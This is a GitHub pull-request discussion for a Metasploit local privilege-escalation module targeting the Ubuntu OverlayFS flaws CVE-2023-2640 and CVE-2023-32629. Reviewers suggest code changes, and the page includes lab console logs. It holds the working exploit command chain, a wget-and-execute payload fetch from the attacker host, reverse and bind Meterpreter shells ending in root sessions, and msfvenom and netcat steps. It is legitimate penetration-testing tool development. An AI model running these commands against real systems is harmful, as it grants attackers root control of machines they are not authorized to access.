-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2023-2640, CVE-2023-32629 Game Overlay Ubuntu Privillege Escalation #19460
Conversation
|
||
directories.each do |dir| | ||
print_status "Creating directory #{dir}" | ||
cmd_exec "mkdir -p #{dir}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Use FileUtils.mkdir_p
instead
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Use
FileUtils.mkdir_p
instead
FileUtils.mkdir_p
would be executed on the Metasploit host. The method you're looking for is Msf::Post::File.mkdir
which uses mkdir -p
:
metasploit-framework/lib/msf/core/post/file.rb
Lines 120 to 137 in 409b1ae
# create and mark directory for cleanup | |
def mkdir(path) | |
result = nil | |
vprint_status("Creating directory #{path}") | |
if session.type == 'meterpreter' | |
# behave like mkdir -p and don't throw an error if the directory exists | |
result = session.fs.dir.mkdir(path) unless directory?(path) | |
elsif session.type == 'powershell' | |
result = cmd_exec("New-Item \"#{path}\" -itemtype directory") | |
elsif session.platform == 'windows' | |
result = cmd_exec("mkdir \"#{path}\"") | |
else | |
result = cmd_exec("mkdir -p '#{path}'") | |
end | |
vprint_status("#{path} created") | |
register_dir_for_cleanup(path) | |
result | |
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
mkdir
isn't working. Rest of exploit fails because directory isn't being created. When I run Msf::Post::File.mkdir
I get a no such method error. -Exploit failed: NoMethodError undefined method "mkdir" for Msf::Post::File:Module
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Update: I had the FileUtils
module included below Msf::Post::File, it was calling the mkdir command from that module and creating those on the host. I thought I was going insane for a second lol.
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the great module! One minor nitpick but could we remove the underscore so the filename is gameoverlay_privesc
?
mount -t overlay overlay -o rw,lowerdir=#{pay_dir}l,upperdir=#{pay_dir}u,workdir=#{pay_dir}w #{pay_dir}m | ||
&& touch /tmp/main/m/* | ||
\" | ||
&& #{pay_dir}/u/python3 -c 'import os;os.setuid(0); os.system(\"#{pay}\")' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could this be replaced with the path to the payload. We have a datastore option PrependSetuid
that be set to replace os.setuid(0);
. Also the CmdStaged mixin can be removed along with the call to execute_cmdstager
. This will simplify things a bit and allow the exploit to work when python3
isn't available on the system.
Not ready to be merged Getting |
@gardnerapp I wanted to let you know I started working on this yesterday. It was super close, so I only did a couple minor changes and was able to get execution. I want to see if I can also get the ARCH_CMD payloads to work, since it is a command we're issuing and it should be straightforward 😆 . I hope I can get a PR to you with suggestions sometime today (US time). Also, I was able to get a local VM to be vulnerable by downloading Ubuntu 22.04x64 and running:
I did it immediately and then took the VM offline in case it was silently patched. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@gardnerapp This was a super neat exploit- Thank you for submitting it! It was very close to working, and I was able to get it to work with both binary and ARCH_CMD payloads with just a bit of tweaking.
I tried to leave suggested changes, but if I missed something, I put up a working version here:
Here it is using both binary and ARCH_CMD payloads targets:
msf6 exploit(linux/local/gameoverlay_privesc) > run
[*] Started reverse TCP handler on 10.5.135.201:4585
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OS Codename = (Jammy Jellyfish)
[*] Detected Ubuntu version: Jammy Jellyfish
[*] Detected kernel version: 5.19.0-41-generic
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
[*] Creating directory /tmp/TIMMJsZ/
[*] Creating directory /tmp/TIMMJsZ/
[*] /tmp/TIMMJsZ/ created
[*] Creating directory /tmp/TIMMJsZ/JpDsTcJSHs/
[*] Creating directory /tmp/TIMMJsZ/JpDsTcJSHs/
[*] /tmp/TIMMJsZ/JpDsTcJSHs/ created
[*] Creating directory /tmp/TIMMJsZ/gvuIpvd/
[*] Creating directory /tmp/TIMMJsZ/gvuIpvd/
[*] /tmp/TIMMJsZ/gvuIpvd/ created
[*] Creating directory /tmp/TIMMJsZ/FZrdUUPoKwg/
[*] Creating directory /tmp/TIMMJsZ/FZrdUUPoKwg/
[*] /tmp/TIMMJsZ/FZrdUUPoKwg/ created
[*] Creating directory /tmp/TIMMJsZ/ZSwBHcRmY/
[*] Creating directory /tmp/TIMMJsZ/ZSwBHcRmY/
[*] /tmp/TIMMJsZ/ZSwBHcRmY/ created
[*] Writing payload: /tmp/TIMMJsZ/marv
[*] Starting new namespace, and running exploit...
[*] unshare -rm sh -c "cp /usr/bin/python3 /tmp/TIMMJsZ/JpDsTcJSHs/; setcap cap_setuid+eip /tmp/TIMMJsZ/JpDsTcJSHs/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/TIMMJsZ/JpDsTcJSHs/,upperdir=/tmp/TIMMJsZ/gvuIpvd/,workdir=/tmp/TIMMJsZ/FZrdUUPoKwg/ /tmp/TIMMJsZ/ZSwBHcRmY/ && touch /tmp/TIMMJsZ/ZSwBHcRmY/*; " && /tmp/TIMMJsZ/gvuIpvd/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod +x /var/tmp/bash && chmod +x /tmp/TIMMJsZ/marv && /var/tmp/bash -p -c /tmp/TIMMJsZ/marv && rm -rf /tmp/TIMMJsZ/JpDsTcJSHs/ /tmp/TIMMJsZ/ZSwBHcRmY/ /tmp/TIMMJsZ/gvuIpvd/ /tmp/TIMMJsZ/FZrdUUPoKwg/ /var/tmp/bash")'
[+] Deleted /tmp/TIMMJsZ/
[*] Meterpreter session 37 opened (10.5.135.201:4585 -> 10.5.132.129:41602) at 2024-09-27 20:21:47 -0500
[*]
meterpreter > getuid
Server username: root
meterpreter > exit
[*] Shutting down session: 37
[*] 10.5.132.129 - Meterpreter session 37 closed. Reason: User exit
msf6 exploit(linux/local/gameoverlay_privesc) > set target 1
target => 1
msf6 exploit(linux/local/gameoverlay_privesc) > set payload cmd/linux/http/x64/meterpreter_reverse_tcp
payload => cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/local/gameoverlay_privesc) > run
[*] Command to run on remote host: wget -qO ./IWtillzOhEDS http://10.5.135.201:8080/s-Ca9BmTKo-IpFX8XiUd8w; chmod +x ./IWtillzOhEDS; ./IWtillzOhEDS &
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /s-Ca9BmTKo-IpFX8XiUd8w
[*] Started reverse TCP handler on 10.5.135.201:4585
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OS Codename = (Jammy Jellyfish)
[*] Detected Ubuntu version: Jammy Jellyfish
[*] Detected kernel version: 5.19.0-41-generic
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
[*] Creating directory /tmp/qowPTdD/
[*] Creating directory /tmp/qowPTdD/
[*] /tmp/qowPTdD/ created
[*] Creating directory /tmp/qowPTdD/aRZdFGYWbp/
[*] Creating directory /tmp/qowPTdD/aRZdFGYWbp/
[*] /tmp/qowPTdD/aRZdFGYWbp/ created
[*] Creating directory /tmp/qowPTdD/krILBcsetBfz/
[*] Creating directory /tmp/qowPTdD/krILBcsetBfz/
[*] /tmp/qowPTdD/krILBcsetBfz/ created
[*] Creating directory /tmp/qowPTdD/KahdTIAH/
[*] Creating directory /tmp/qowPTdD/KahdTIAH/
[*] /tmp/qowPTdD/KahdTIAH/ created
[*] Creating directory /tmp/qowPTdD/KqwYrX/
[*] Creating directory /tmp/qowPTdD/KqwYrX/
[*] /tmp/qowPTdD/KqwYrX/ created
[*] Starting new namespace, and running exploit...
[*] unshare -rm sh -c "cp /usr/bin/python3 /tmp/qowPTdD/aRZdFGYWbp/; setcap cap_setuid+eip /tmp/qowPTdD/aRZdFGYWbp/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/qowPTdD/aRZdFGYWbp/,upperdir=/tmp/qowPTdD/krILBcsetBfz/,workdir=/tmp/qowPTdD/KahdTIAH/ /tmp/qowPTdD/KqwYrX/ && touch /tmp/qowPTdD/KqwYrX/*; " && /tmp/qowPTdD/krILBcsetBfz/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod +x /var/tmp/bash && /var/tmp/bash -p -c \"wget -qO ./IWtillzOhEDS http://10.5.135.201:8080/s-Ca9BmTKo-IpFX8XiUd8w; chmod +x ./IWtillzOhEDS; ./IWtillzOhEDS &\" rm -rf /tmp/qowPTdD/aRZdFGYWbp/ /tmp/qowPTdD/KqwYrX/ /tmp/qowPTdD/krILBcsetBfz/ /tmp/qowPTdD/KahdTIAH/ /var/tmp/bash")'
[*] Client 10.5.132.129 requested /s-Ca9BmTKo-IpFX8XiUd8w
[*] Sending payload to 10.5.132.129 (Wget/1.21.2)
[+] Deleted /tmp/qowPTdD/
[*]
[*] Meterpreter session 38 opened (10.5.135.201:4585 -> 10.5.132.129:57044) at 2024-09-27 20:23:05 -0500
meterpreter > getuid
Server username: root
@gardnerapp do you have the time to add documentation to this? |
I will try and get the documentation done by Friday! |
[ | ||
'Linux_Binary', | ||
{ | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Dumb question, but why those two architecture only? The exploit seems quite portable to me.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolutely. Those are the only ones we tested on. If I get a chance I'll try it out on a Ubuntu AARCH_64, which I think is the only other Ubuntu arch?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Happy to add anything anyone wants to test and verify- I'll do AARCH_64. 🎉
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
AARCH64 does work:
[*] Meterpreter session 1 opened (10.5.135.201:4588 -> 10.5.132.149:60980) at 2024-10-02 16:27:35 -0500
msf6 payload(linux/aarch64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 10.5.132.149
OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
Architecture : aarch64
BuildTuple : aarch64-linux-musl
Meterpreter : aarch64/linux
meterpreter > getuid
Server username: msfuser
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(linux/aarch64/meterpreter_reverse_tcp) > use exploit/linux/local/gameoverlay_privesc
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/gameoverlay_privesc) > set session 1
session => 1
msf6 exploit(linux/local/gameoverlay_privesc) > set target 0
target => 0
msf6 exploit(linux/local/gameoverlay_privesc) > set payload linux/aarch64/meterpreter_reverse_tcp
payload => linux/aarch64/meterpreter_reverse_tcp
msf6 exploit(linux/local/gameoverlay_privesc) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 exploit(linux/local/gameoverlay_privesc) > show options
Module options (exploit/linux/local/gameoverlay_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
PayloadFileName pVmtuGOGXdO yes Name of payload
SESSION 1 yes The session to run this module on
WritableDir /tmp yes A directory where we can write files
Payload options (linux/aarch64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux_Binary
View the full module info with the info, or info -d command.
msf6 exploit(linux/local/gameoverlay_privesc) > run
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Ubuntu version: Jammy Jellyfish
[*] Detected kernel version: 5.19.0-41-generic
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
[*] Creating directory /tmp/UqNFkc/
[*] Creating directory /tmp/UqNFkc/QKZiqWWsnSOz/
[*] Creating directory /tmp/UqNFkc/WbrucZxIAlWZF/
[*] Creating directory /tmp/UqNFkc/uKmqunqY/
[*] Creating directory /tmp/UqNFkc/pwFUmC/
[*] Writing payload: /tmp/UqNFkc/pVmtuGOGXdO
[*] Starting new namespace, and running exploit...
[+] Deleted /tmp/UqNFkc/
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.149:49168) at 2024-10-02 16:28:43 -0500
[*]
meterpreter > sysinfo
Computer : 10.5.132.149
OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
Architecture : aarch64
BuildTuple : aarch64-linux-musl
Meterpreter : aarch64/linux
meterpreter > getuid
Server username: root
meterpreter >
For some reason the Linux Binary payload was no longer working. I added
Additionally I've added randomization to the bash copy, it appears to be running properly but I couldn't fully test it due to hardware issues. I'm running the exploit against cloud based systems and |
Hey there, @gardnerapp; I am sorry I let this fall by the wayside, and I want to get this merged and landed because it is pretty darn cool. Is there a reason you included the netcat binary in this? |
Also, I want to get #19528 landed so we can use it for the command execution. |
Not sure why I committed NC, pretty sure it was by accident. Just removed it. |
init Add moduel scaffolding Add Opts, check and exploit methods Rubocop changes Add checks for vunerable kernel versions Write check for distro type Finish protoype of check add exploit Make changes to check method Add checkcode Add x86 for payload compatability remove check, add kernel version add codenam, transform keys in vuln Note minor spelling change Add description Add cve references Start trying to drop payloads on disk Change description, include modules for file upload, use proper methods for writing payload continue trying to upload Use write_file instead of upload_and_chmodx remove upload_dir opt expirement w g1vi exploit Include cmd_stage module, add generate_payload_exe, run payload in new namespace Add missing call to setcap, fix description Fix unterminated string, fix directory for calling python copy Rubocop changes Create dynamic payload Add mkdir_p and WritableDir opts Update modules/exploits/linux/local/game_overlay_privesc.rb Co-authored-by: Julien Voisin <[email protected]> Revert back to python exploit, add dynamic writable dir Add todos Remove FileUtils Change module name Add checkcodes Add more checkcodes
Co-authored-by: jheysel-r7 <[email protected]>
Rebase and change payload delivery Rebase and remove cmdstager Update modules/exploits/linux/local/game_overlay_privesc.rb Co-authored-by: jheysel-r7 <[email protected]> remove CmdStager Mixin Add PrependSetuid Remove python from exploit Remove generate_payload_exe and add dynamic directory to upper mount layer Change where payload is dropped Remove FileUtils module Call proper method for generating payload Seperate exploit and triggering of payload Seperate exploit and triggering payload test
Co-authored-by: Brendan <[email protected]>
Co-authored-by: Brendan <[email protected]>
Update modules/exploits/linux/local/gameoverlay_privesc.rb Co-authored-by: Brendan <[email protected]>
Update modules/exploits/linux/local/gameoverlay_privesc.rb Co-authored-by: Brendan <[email protected]> Rubocop changes
Update modules/exploits/linux/local/gameoverlay_privesc.rb Co-authored-by: Brendan <[email protected]> Give bwatters7 credit, add docs Experiment with randomized bash copy and Rex::File.join remove unused line Add missing parenthesis fix problem with bash copy Remove rex::join, call proper method for generating payload add exploit::exe mixin, bash copy randomization Rubocop changes Remove nc
@gardnerapp I would like to rebase and squash a lot of these commits, but I wanted to let you know and get your OK before I do it. I don't know how familiar you are with git, so forgive me if I'm over-explaining things: |
@bwatters-r7 Do whatever you have to do I don't mind. I hope I didn't cause to much trouble for you, I'm new to developing msf. Lmk if you need help. |
9f66455
to
441a321
Compare
Done; no worries at all. I really enjoy working with people who are new to the project; I was new to it not that long ago! Everything looks right on the rebase- we dropped from 63 commits to 9. If you see anything that does not look right, please let me know. Next step is that we found what looks like a bug in pre-existing code related to this PR that I'm going to add a fix to here because it is a great place to test it. |
OK..... it was not a bug in framework, it was a bug with the code I added and using a more complex payload brought it out, so I was worried it was an issue with the payload. |
Release NotesAdds a module for CVE-2023-2640 and CVE-2023-32629, a local privilege escalation in some Ubuntu kernel versions by abusing overly-trusting OverlayFS features. |
This module was originally suggested by #18765 and builds on this PoC from @g1vi. CVE-2023-2640 and CVE-2023-32629 allow for privilege escalation on Ubuntu systems due to a failure to call
vfs_setxattr
during execution ofovl_do_setxattr
, this results in the failure to sanitize file capabilities during file system union process. This article explains the technical details of the vulnerability much better then I can and also provides a convenient list of vulnerable Ubuntu and Kernel versions.This exploit was tested on Ubuntu Focal Fossa 20.04.6 with a 5.4.0-1018-aws kernel. I changed the Kernel version by following this tutorial , the google drive doc linked in the video is probably quicker to read. Please note that I used a bind shell to connect to the system, and a bind shell as a payload for the exploit. I am well aware that bind shells are frowned upon IRL because of firewalls, IDS, etc. I only had to use one because I don't have access to a Linux System outside of the cloud.
Verification
1, Target System
Creating a bind shell
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=5555 -f elf -o bind.elf
Transfer the bind shell
I used netcat
On remote machine:
nc -lvnp 1234 > bind.elf
Local machine
cat bind.elf > <REMOTE IPADDRESS> 1234
Execute the bind shell
chmod +x bind.elf && ./bind.elf
Start msf and connect to bind shell
There is now a bind shell running on the system with root level privileges. On the remote system you can verify the listening port with
ss -ano | grep 6666
Here are some Pictures
Open bind port on target:
Process list after payload execution
marv
is meterpreter running as rootExploit